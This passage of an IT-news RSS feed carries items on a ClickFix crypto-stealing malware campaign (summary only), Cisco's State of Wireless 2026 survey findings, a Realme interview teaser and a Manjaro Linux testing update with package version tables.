class=""><a href="https://github.com/nodejs/node-v0.x-archive/issues/8830">https://github.com/nodejs/node-v0.x-archive/issues/8830</a></p><p class=""><a href="https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require">https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require</a></p><p class=""><a href="https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities">https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[New ClickFix Attack Uses Node.js Malware via Tor to Steal Crypto]]></title>
<description><![CDATA[Netskope Threat Labs report a new ClickFix attack using fake CAPTCHAs to deploy Tor-backed NodeJS malware and drain crypto wallets on Windows. This article has been indexed from Hackread – Cybersecurity News, Data Breaches, AI and More Read the original…
Read more →
The post New ClickFix Attack U...]]></description>
<link>https://tsecurity.de/de/3416771/it-security-nachrichten/new-clickfix-attack-uses-nodejs-malware-via-tor-to-steal-crypto/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3416771/it-security-nachrichten/new-clickfix-attack-uses-nodejs-malware-via-tor-to-steal-crypto/</guid>
<pubDate>Wed, 08 Apr 2026 11:51:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Netskope Threat Labs report a new ClickFix attack using fake CAPTCHAs to deploy Tor-backed NodeJS malware and drain crypto wallets on Windows. This article has been indexed from Hackread – Cybersecurity News, Data Breaches, AI and More Read the original…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/new-clickfix-attack-uses-node-js-malware-via-tor-to-steal-crypto/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/new-clickfix-attack-uses-node-js-malware-via-tor-to-steal-crypto/">New ClickFix Attack Uses Node.js Malware via Tor to Steal Crypto</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[New ClickFix Attack Uses Node.js Malware via Tor to Steal Crypto]]></title>
<description><![CDATA[Netskope Threat Labs report a new ClickFix attack using fake CAPTCHAs to deploy Tor-backed NodeJS malware and drain crypto wallets on Windows.]]></description>
<link>https://tsecurity.de/de/3416667/it-security-nachrichten/new-clickfix-attack-uses-nodejs-malware-via-tor-to-steal-crypto/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3416667/it-security-nachrichten/new-clickfix-attack-uses-nodejs-malware-via-tor-to-steal-crypto/</guid>
<pubDate>Wed, 08 Apr 2026 11:21:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Netskope Threat Labs report a new ClickFix attack using fake CAPTCHAs to deploy Tor-backed NodeJS malware and drain crypto wallets on Windows.]]></content:encoded>
</item>
<item>
<title><![CDATA[Cisco: AI simplifies wireless operations but also taxes legacy Wi-Fi networks]]></title>
<description><![CDATA[Without a secure, more scalable Wi-Fi backbone, organizations can’t deliver on the opportunities afforded by AI and other technologies, warns Cisco. The vendor just published its inaugural State of Wireless 2026 report, which surveyed more than 6,000 global wireless professionals.



IT teams in ...]]></description>
<link>https://tsecurity.de/de/3413576/it-security-nachrichten/cisco-ai-simplifies-wireless-operations-but-also-taxes-legacy-wi-fi-networks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3413576/it-security-nachrichten/cisco-ai-simplifies-wireless-operations-but-also-taxes-legacy-wi-fi-networks/</guid>
<pubDate>Tue, 07 Apr 2026 12:22:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Without a secure, more scalable Wi-Fi backbone, organizations can’t deliver on the opportunities afforded by AI and other technologies, warns Cisco. The vendor just published its inaugural <a href="https://www.cisco.com/c/dam/en/us/products/collateral/networking/wireless/state-of-wireless-report/state-wireless-report-2026.pdf">State of Wireless 2026</a> report, which surveyed more than 6,000 global wireless professionals.</p>



<p>IT teams in charge of wireless networks are under pressure to rapidly evolve the infrastructure, driven by issues including the growth of AI and other <a href="https://www.networkworld.com/article/4150229/ais-need-for-speed-optical-connectivity-in-focus-at-ofc-2026.html">high-bandwidth applications</a>, an <a href="https://www.networkworld.com/article/4140101/cisco-ai-is-a-double-edged-sword-in-industrial-networks.html">influx of new devices</a>, and a wide range of users and devices, from employees and contractors to autonomous robots and smart sensors. New AI-powered use cases are appearing daily, and IT teams are challenged to deal with rising wireless complexity.</p>



<p>“AI is currently the sword and the shield: it’s simultaneously driving unprecedented ROI while exposing the vulnerabilities in legacy systems,” wrote Aruna Ravichandran, Cisco senior vice president of product marketing for networking and CMO for collaboration, in a <a href="https://blogs.cisco.com/news/the-multiplier-effect-solving-the-ai-paradox-in-2026">blog post</a> about the study. </p>



<p>“While Wi-Fi 5 remains the most common standard, it is increasingly unable to support the demands of the AI era. But the market is reacting. We are seeing a shift as organizations move beyond legacy limitations, with three in five enterprises planning to deploy Wi-Fi 6E or 7 within the next year to help bridge the gap,” Ravichandran wrote. </p>



<p>“This has created an architectural breaking point. We’ve entered an era where high-bandwidth AI workloads collide with an increasingly high number of IoT and connected devices, all competing for the same limited bandwidth,” Ravichandran wrote. “From 4K/8K streaming and AR/VR to critical OT sensors, this massive influx of endpoints cannot be supported sufficiently on a legacy backbone. It contributes to a perfect storm of operational complexity and security risk that yesterday’s infrastructure was not built to handle.”</p>



<p>According to Cisco’s data, Wi-Fi 5 is still the most widely deployed Wi-Fi standard, used by 43% of surveyed organizations. Some 19% of organizations are presently deploying Wi-Fi 6E or 7, while 59% plan to deploy Wi-Fi 6E or 7 in the next year, the study found.</p>



<p>Additionally, 28% of organizations surveyed have already deployed AI workloads, and that percentage is estimated to climb to 79% by 2027. Some 29% will be in pilot stage, and 22% are planning deployment over the next 12 months.</p>



<p>“This rapid trajectory further highlights that AI deployment is indeed the defining use case for next-generation wireless infrastructure,” the Cisco study asserted.</p>



<p>“While core use cases such as wireless for physical security are already widely deployed, the next phase of wireless growth is being driven by emerging applications that depend on high-performing, resilient networks. Organizations are increasingly piloting or planning wireless investments to support autonomous systems and robotics, smart facilities and energy management, space analytics, and immersive collaboration,” the study found. </p>



<h2 class="wp-block-heading">The 6 GHz opportunity</h2>



<p>One wireless advancement that is being used to handle AI and other capacity challenges is the addition of the <a href="https://blogs.cisco.com/gov/unlocking-the-future-why-6-ghz-wi-fi-is-the-foundation-for-the-ai-era">6 GHz band added by Wi-Fi 6E</a>, “and utilization further improved with Wi-Fi 7,” Cisco stated. “Organizations are using it to solve capacity and congestion issues (46%), enable high-bandwidth applications (32%), and support AI workloads (31%). And the research shows that those adopting this added spectrum are seeing strong benefits.”</p>



<p>“Organizations already deploying 6 GHz show almost double the rate of AI applications and workloads (45%) compared to non-adopters (26%),” the study reported.</p>



<p>“It’s no surprise that Cisco telemetry highlights a 60% increase in 6 GHz clients went live in 2025. Wireless professionals are seeing the 6 GHz opportunity and are helping their organizations,” the study found. </p>



<h2 class="wp-block-heading">Operational complexity barrier</h2>



<p>General network complexity is the number one challenge facing IT teams, the study stated.</p>



<p>“Nearly every wireless leader (98%) reports that wireless operations are becoming more complex, creating a reactive posture that drains resources, prevents strategic work, and directly undermines the AI initiatives that help reduce complexity,” the report found. “This creates a vicious cycle: complexity drives reactive work, reactive work limits modernization, and delayed modernization perpetuates complexity.”</p>



<p>“Organizations cite three primary drivers of this growing complexity: mission‑critical workloads, increasingly including AI‑driven applications (43%), the need to mitigate new security risks (42%), and rising bandwidth demands from new use cases (38%).”</p>



<p>“This complexity translates into tangible operational strain. Nearly half of respondents (43%) report that their team receives at least 50 wireless support tickets a week, with the average standing at 68. This means IT teams are spending hundreds of hours per month managing wireless tickets,” the report stated.</p>



<p>“Wireless leaders expect this burden to compound. Nearly two-thirds (64%) expect ticket resolution times to increase over the next two to three years, suggesting a growing need to address this complexity.”</p>



<h2 class="wp-block-heading">More takeaways from Cisco’s State of Wireless 2026</h2>



<p>Some other key findings of the Cisco report include:</p>



<ul class="wp-block-list">
<li><strong>Wireless budgets are growing.</strong> “Eight in 10 organizations increased wireless investment over the past five years, with 29% implementing significant budgetary increases of 50% or more. What’s more, 82% forecast that wireless budgets will continue to rise, with over a third (35%) expecting investment increases of 50% or more over the next four to five years.”</li>



<li><strong>AI-generated attacks drive increased wireless security risk.</strong> “Over half of organizations (58%) have experienced financial losses from wireless security incidents, with 50% of them exceeding US$1 million annually. Over a third (36%) of affected organizations report compromised IoT or OT devices as the culprit, representing a substantial threat to Wi-Fi as the most common connectivity technology for IoT.”</li>



<li><strong>Wireless threats are on the rise. </strong>“Organizations cannot confidently deploy Wi-Fi as a platform for business-critical workloads while facing escalating security threats and mounting financial losses,” the report states. “Eighty-five percent of organizations have experienced at least one wireless security incident in the last 12 months. Further to this, more than one-third report experiencing escalating wireless threats over the past two years (38%). Wireless leaders state that security threats have become more frequent and damaging, while also being more difficult to detect and remedy.”</li>



<li><strong>A lack of visibility compounds operational challenges.</strong> “Nearly 9 in 10 organizations (87%) report visibility gaps that impair their ability to troubleshoot Wi-Fi issues effectively. The top three frequently reported challenges are poor client visibility, application and cloud visibility, and packet visibility,” the report states. “Without end-to-end visibility, teams cannot rapidly isolate problems. This creates a particularly dangerous dynamic: wireless networks become scapegoats for problems originating elsewhere. A quarter of complaints (25%) are inaccurately attributed to wireless, with each misattributed incident wasting an average of 18 hours across teams. The true culprits are most commonly application problems (25%), client or endpoint issues (22%), and cloud or external service failures (18%).”</li>



<li><strong>The attack surface continues to expand.</strong> “Over a third of affected organizations (36%) report disruption from compromised IoT or OT devices, representing a substantial threat to Wi-Fi since it’s the most common connectivity technology for IoT. The proliferation of IoT devices, especially when unmanaged, creates an aggregated vulnerability as individual weaknesses compound into network-wide exposure.”</li>



<li><strong>Eighty-six percent of organizations report challenges in hiring</strong>. “Talent shortages do not merely slow modernization, they directly amplify operational strain and security exposure while making it more difficult to implement AI for networking. This creates a vicious cycle: organizations lacking talent struggle to modernize, complexity and security risk escalate, costs rise, and the best talent leaves for more modern organizations.”</li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Realme's Wong on the 16 5G Launch and the Industry Price Surge: "Value Must Rise Faster Than Prices"]]></title>
<description><![CDATA[In an exclusive chat with Gadgets 360, the Realme CMO discusses why entry-level phones are seeing a price jump and the strategy to retain its youth audience.]]></description>
<link>https://tsecurity.de/de/3411167/it-nachrichten/realmes-wong-on-the-16-5g-launch-and-the-industry-price-surge-value-must-rise-faster-than-prices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3411167/it-nachrichten/realmes-wong-on-the-16-5g-launch-and-the-industry-price-surge-value-must-rise-faster-than-prices/</guid>
<pubDate>Mon, 06 Apr 2026 15:02:55 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In an exclusive chat with Gadgets 360, the Realme CMO discusses why entry-level phones are seeing a price jump and the strategy to retain its youth audience.]]></content:encoded>
</item>
<item>
<title><![CDATA[[Testing Update] 2026-03-31 - Linux 7.0-rc6, GNOME, Thunderbird, Deepin, Freecad, Wireplumber]]></title>
<description><![CDATA[Hello Manjaro user community, here we have another set of package updates. This might mark the start of the development cycle of the upcoming ‘Bian-May’ release series. With this we aim to update the default kernel to 7.0 series. Also there will be Plasma 6.6 series, KDE Gears 26.04 and GNOME 50 ...]]></description>
<link>https://tsecurity.de/de/3409930/unix-server/testing-update-2026-03-31-linux-70-rc6-gnome-thunderbird-deepin-freecad-wireplumber/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3409930/unix-server/testing-update-2026-03-31-linux-70-rc6-gnome-thunderbird-deepin-freecad-wireplumber/</guid>
<pubDate>Mon, 06 Apr 2026 01:00:56 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div data-theme-toc="true"> </div>
<p>Hello Manjaro user community, here we have another set of package updates. This might mark the start of the development cycle of the upcoming ‘Bian-May’ release series. With this we aim to update the default kernel to <a href="https://www.heise.de/en/news/Linux-Torvalds-starts-development-of-Kernel-7-0-11186358.html">7.0</a> series. Also there will be <a href="https://kde.org/announcements/plasma/6/6.6.0/">Plasma 6.6</a> series, <a href="https://community.kde.org/Schedules/KDE_Gear_26.04_Schedule">KDE Gears 26.04</a> and <a href="https://release.gnome.org/50/">GNOME 50</a> release series. XFCE will stay at <a href="https://www.xfce.org/about/tour420">4.20</a> this release cycle. A release of ‘Bian-May’ can be expected end of April, beginning of May. Let us know any issues you may found thus far …</p>
<h3><a name="p-850257-current-promotions-1" class="anchor" href="https://forum.manjaro.org/#p-850257-current-promotions-1" aria-label="Heading link"></a>Current Promotions</h3>
<ul>
<li>Get the latest Gaming Laptop by Slimbook powered by Manjaro: <a href="https://slimbook.com/manjaro">Slimbook Manjaro III</a></li>
<li>Protect your personal data, keep yourself safe with Surfshark VPN: <a href="https://get.surfshark.net/aff_c?offer_id=6&amp;aff_id=14558-">See current promotion</a></li>
</ul>
<h2><a name="p-850257-recent-news-2" class="anchor" href="https://forum.manjaro.org/#p-850257-recent-news-2" aria-label="Heading link"></a>Recent News</h2>

New in Manjaro GNOME!
Or, if you prefer the command line: <a href="https://forum.manjaro.org/t/testing-update-2026-03-31-linux-7-0-rc6-gnome-thunderbird-deepin-freecad-wireplumber/186720/1">(click for more details)</a>

KDE Plasma users with SDDM can now migrate to Plasma Login Manager <a href="https://forum.manjaro.org/t/testing-update-2026-03-31-linux-7-0-rc6-gnome-thunderbird-deepin-freecad-wireplumber/186720/1">(click for more details)</a>

NVIDIA 590 driver drops Pascal support <a href="https://forum.manjaro.org/t/testing-update-2026-03-31-linux-7-0-rc6-gnome-thunderbird-deepin-freecad-wireplumber/186720/1">(click for more details)</a>
<ul>
<li><a href="https://forum.manjaro.org/t/manjaro-26-0-anh-linh-released/184526" class="inline-onebox">Manjaro 26.0 Anh-Linh released</a></li>
<li><a href="https://forum.manjaro.org/t/manjaro-summit-public-alpha-now-available/176995" class="inline-onebox">Manjaro Summit public Alpha now available</a></li>
<li>As of Linux 5.4.302, the 5.4 series is now EOL (End Of Life). Please install 5.10 LTS (Long Term Support) or 5.15 LTS.</li>
<li>As of Linux 6.16.12, the 6.16 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
<li>As of Linux 6.17.13, the 6.17 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
</ul>

Previous News
Finding information easier about Manjaro <a href="https://forum.manjaro.org/t/testing-update-2026-03-31-linux-7-0-rc6-gnome-thunderbird-deepin-freecad-wireplumber/186720/1">(click for more details)</a>
<h2><a name="p-850257-notable-package-updates-3" class="anchor" href="https://forum.manjaro.org/#p-850257-notable-package-updates-3" aria-label="Heading link"></a>Notable Package Updates</h2>
<ul>
<li><strong>Kernel</strong> 7.0 got updated to <a href="https://lore.kernel.org/lkml/CAHk-=wgLvq1LucHhxjiPwDBkMRk=54Zh=-FmUdevXJyHygc=9A@mail.gmail.com/T/#u">7.0-rc6</a></li>
<li><strong>GNOME</strong> <a href="https://discourse.gnome.org/t/gnome-49-5-released/34574">49.5</a></li>
<li><strong>Thunderbird</strong> <a href="https://www.thunderbird.net/thunderbird/149.0.1/releasenotes/">149.0.1</a></li>
<li>Some updates to <strong>Deepin</strong></li>
<li><strong>freecad</strong> <a href="https://blog.freecad.org/2026/03/25/freecad-version-1-1-released/">1.1.0</a></li>
<li>Rebuilds and updates to <strong>haskell</strong></li>
<li><strong>wireplumber</strong> <a href="https://gitlab.com/pipewire/wireplumber/-/blob/07e730b279ac7a520699ae9f6b0797848a731b30/NEWS.rst">0.5.14</a></li>
</ul>
<h2><a name="p-850257-additional-info-4" class="anchor" href="https://forum.manjaro.org/#p-850257-additional-info-4" aria-label="Heading link"></a>Additional Info</h2>

Python 3.14 info <a href="https://forum.manjaro.org/t/testing-update-2026-03-31-linux-7-0-rc6-gnome-thunderbird-deepin-freecad-wireplumber/186720/1">(click for more details)</a>

Info about AUR packages <a href="https://forum.manjaro.org/t/testing-update-2026-03-31-linux-7-0-rc6-gnome-thunderbird-deepin-freecad-wireplumber/186720/1">(click for more details)</a>
<p>Get our latest daily developer images now from Github: <a href="https://github.com/manjaro-plasma/download/releases">Plasma</a>, <a href="https://github.com/manjaro-gnome/download/releases">GNOME</a>, <a href="https://github.com/manjaro-xfce/download/releases">XFCE</a>. You can get the latest <a href="https://manjaro.org/download">stable releases</a> of Manjaro from <a href="https://cdn77.com/">CDN77</a>.</p>
<hr>
<p><strong>Our current supported kernels</strong></p>
<ul>
<li>linux510 5.10.252</li>
<li>linux515 5.15.202</li>
<li>linux61 6.1.167</li>
<li>linux66 6.6.130</li>
<li>linux612 6.12.78</li>
<li>linux618 6.18.20</li>
<li>linux619 6.19.10</li>
<li>linux70 7.0.0rc6</li>
<li>linux61-rt 6.1.166_rt61</li>
<li>linux66-rt 6.6.129_rt70</li>
<li>linux612-rt 6.12.74_rt16</li>
<li>linux617-rt 6.17.5_rt7</li>
</ul>
<p><strong>Package Changes</strong> (3/31/26 05:17 CEST)</p>
<ul>
<li>testing core x86_64:  3 new and 3 removed package(s)</li>
<li>testing extra x86_64:  1131 new and 1127 removed package(s)</li>
<li>testing multilib x86_64:  8 new and 8 removed package(s)</li>
</ul>
<pre><code class="lang-auto">:: Different overlay package(s) in repository core x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2026-03-28           2026-03-31
-------------------------------------------------------------------------------
                             linux70           7.0.0rc5-1           7.0.0rc6-1
                     linux70-headers           7.0.0rc5-1           7.0.0rc6-1


:: Different sync package(s) in repository core x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2026-03-28           2026-03-31
-------------------------------------------------------------------------------
                                file               5.47-1               5.47-2


:: Different overlay package(s) in repository extra x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2026-03-28           2026-03-31
-------------------------------------------------------------------------------
                             discord          1:0.0.131-1                    -
                   linux70-acpi_call            1.2.2-0.5            1.2.2-0.6
                    linux70-bbswitch              0.8-0.5              0.8-0.6
                 linux70-broadcom-wl     6.30.223.271-0.5     6.30.223.271-0.6
                linux70-nvidia-470xx       470.256.02-0.5       470.256.02-0.6
                 linux70-nvidia-open        595.58.03-0.1        595.58.03-0.2
                       linux70-r8168         8.056.02-0.5         8.056.02-0.6
                   linux70-rtl8723bu         20250813-0.5         20250813-0.6
                    linux70-tp_smapi             0.45-0.5             0.45-0.6
                 linux70-vhba-module         20250329-0.5         20250329-0.6
     linux70-virtualbox-host-modules            7.2.6-0.5            7.2.6-0.6
                         linux70-zfs            2.4.1-0.5            2.4.1-0.6


:: Different sync package(s) in repository extra x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2026-03-28           2026-03-31
-------------------------------------------------------------------------------
                          abseil-cpp         20250814.1-1         20260107.1-1
                               afl++              4.35c-2              4.40c-1
                                agda          2.6.4.3-119          2.6.4.3-121
                          aliyun-cli              3.2.9-1              3.3.3-1
                              allure         0.11.0.0-317         0.11.0.0-320
                          amdgpu_top             0.11.2-1             0.11.3-1
                       android-tools            35.0.2-23            35.0.2-24
                          apache-orc              2.3.0-2              2.3.0-3
                                apko             1.1.16-1              1.2.0-1
                               arbtt         0.12.0.3-185         0.12.0.3-187
                             arch-hs            0.12.1-66            0.12.1-70
                      argo-workflows              4.0.2-1              4.0.3-1
                               arrow             23.0.1-2             23.0.1-3
                             astroid               0.17-8               0.17-9
                           astroterm             1.0.10-1              1.1.0-1
                           aws-vault              7.9.7-1             7.9.13-1
                              azcopy            10.32.1-1            10.32.2-1
                       bbswitch-dkms              0.8-806              0.8-807
                       bcachefs-dkms           3:1.37.3-1           3:1.37.4-1
                      bcachefs-tools           3:1.37.3-1           3:1.37.4-1
                               beets              2.7.1-1              2.8.0-1
                               bftpd                6.3-1                6.6-1
                              bloaty               1.1-22               1.1-23
                            bpftrace             0.25.0-1             0.25.1-1
                                brat              0.9.0-2             0.10.0-1
                                 bun             1.3.11-1             1.3.11-2
                               byobu               6.14-1               6.15-1
                       cabal-install          3.10.3.0-15          3.10.3.0-18
                          cabal-plan          0.7.3.0-128          0.7.3.0-130
                      cargo-binstall             1.17.8-2             1.17.9-1
                         cargo-insta             1.47.0-1             1.47.2-1
                        cargo-update             18.2.0-2             19.0.1-1
                             castxml              0.7.0-1              0.7.0-2
                           cbor-tool          0.2.3.0-124          0.2.3.0-126
                              ccache             4.13.1-1             4.13.2-1
                               cgrep             8.1.0-94             8.1.0-97
                              chatty              0.8.9-1              0.8.9-2
                          cherrytree              1.6.3-1              1.6.3-2
                           clash-ghc             1.8.2-97            1.8.2-100
                          cockatrice             2.10.3-1             2.10.3-2
                               crash              9.0.1-1              9.0.1-2
                             cryptol             3.3.0-47             3.3.0-50
                                 cue             0.15.4-1             0.16.0-1
                    curl-impersonate              1.5.1-1              1.5.2-1
                                cyme             2.2.11-2              2.3.0-1
                               darcs           2.18.5-191           2.18.5-194
                             dbeaver             26.0.0-1             26.0.1-1
                     deepin-anything             6.2.11-1              7.0.0-2
                deepin-anything-dkms             6.2.11-1              7.0.0-2
                          deepin-api             6.0.35-1             6.0.37-1
                 deepin-app-services             1.0.40-1             1.0.41-1
          deepin-application-manager             1.2.42-1             1.2.44-1
                     deepin-calendar             6.5.17-1             6.5.18-1
                    deepin-clipboard              6.1.7-1              6.1.8-1
                   deepin-compressor              6.5.9-1             6.5.11-1
               deepin-control-center             6.1.13-1             6.1.15-1
                       deepin-daemon             6.1.46-4             6.1.49-1
                deepin-desktop-theme             1.1.16-1             1.1.18-1
             deepin-device-formatter           0.0.1.18-2              1.5.1-1
                         deepin-draw             6.5.25-1             6.5.26-1
                       deepin-editor             6.5.41-1             6.5.42-1
                 deepin-grand-search              5.4.7-3              5.4.9-1
                    deepin-launchpad             2.0.25-3             2.0.26-1
                        deepin-movie          1:5.10.45-1          1:5.10.46-1
                 deepin-network-core             2.0.42-1             2.0.43-1
               deepin-qt5integration             5.7.30-2             6.7.31-1
          deepin-qt5platform-plugins             5.7.30-2             6.7.31-1
               deepin-qt6integration             6.0.48-3             6.7.31-1
          deepin-qt6platform-plugins             6.0.48-3             6.7.31-1
                  deepin-screensaver             5.0.19-2             5.0.20-1
                     deepin-services             1.0.19-1             1.0.21-1
                      deepin-session             2.0.15-2             2.0.17-1
                        deepin-shell             2.0.27-3             2.0.29-1
               deepin-system-monitor             6.5.19-2             6.5.21-1
                     deepin-terminal             6.5.28-3             6.5.29-1
                  deepin-tray-loader             2.0.24-3             2.0.26-1
                        deepin-turbo            0.0.6.2-1            0.0.6.3-1
                     deepin-util-dfm             1.2.29-1             1.2.31-1
                   deepin-wallpapers            1:1.7.8-1           1:1.7.14-1
                      deepin-widgets             6.0.18-2             6.0.20-1
                               dhall            1.42.3-45            1.42.3-48
                          dhall-bash           1.0.41-176           1.0.41-180
                          dhall-docs           1.0.12-168           1.0.12-171
                          dhall-json           1.7.12-172           1.7.12-175
                    dhall-lsp-server            1.1.4-102            1.1.4-106
                          dhall-yaml           1.2.12-177           1.2.12-180
                       diff-so-fancy              1.4.6-1              1.4.8-1
                          diffoscope                313-1                315-1
                             discord          1:0.0.130-1          1:0.0.131-1
                             dovecot              2.4.3-1              2.4.3-2
                               drone             2.28.0-1             2.28.1-1
                           drone-oss             2.28.0-1             2.28.1-1
                            dtk6core           1:6.7.32-2           1:6.7.33-1
                     dtk6declarative           1:6.7.32-2           1:6.7.33-1
                             dtk6gui           1:6.7.32-2           1:6.7.33-1
                             dtk6log             6.7.32-2             6.7.33-1
                          dtk6widget           1:6.7.32-2           1:6.7.33-1
                             dtkcore           1:6.7.32-2           1:6.7.33-1
                      dtkdeclarative           1:6.7.32-2           1:6.7.33-1
                              dtkgui           1:6.7.32-2           1:6.7.33-1
                              dtklog             6.7.32-2             6.7.33-1
                           dtkwidget           1:6.7.32-2           1:6.7.33-1
                               dunst             1.13.1-1             1.13.2-1
                         easyeffects              8.1.7-1              8.1.8-1
                              emptty             0.16.0-1             0.16.1-1
               evolution-data-server             3.58.3-1             3.58.3-2
          evolution-data-server-docs             3.58.3-1             3.58.3-2
                  falcosecurity-libs             0.20.0-9             0.23.1-1
                           fastfetch             2.60.0-1             2.61.0-1
           firefox-developer-edition            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-ach            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-af            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-an            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ar            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-ast            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-az            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-be            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-bg            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-bn            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-br            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-bs            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ca            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-ca-valencia      150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-cak            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-cs            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-cy            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-da            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-de            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-dsb            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-el            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-en-ca            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-en-gb            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-en-us            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-eo            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-es-ar            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-es-cl            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-es-es            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-es-mx            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-et            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-eu            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-fa            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ff            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-fi            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-fr            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-fur            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-fy-nl            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-ga-ie            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-gd            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-gl            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-gn            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-gu-in            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-he            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-hi-in            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-hr            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-hsb            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-hu            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-hy-am            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ia            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-id            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-is            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-it            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ja            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ka            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-kab            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-kk            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-km            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-kn            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ko            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-lij            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-lt            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-lv            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-mk            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-mr            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ms            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-my            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-nb-no            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-ne-np            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-nl            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-nn-no            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-oc            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-pa-in            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-pl            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-pt-br            150.0b2-1            150.0b3-1
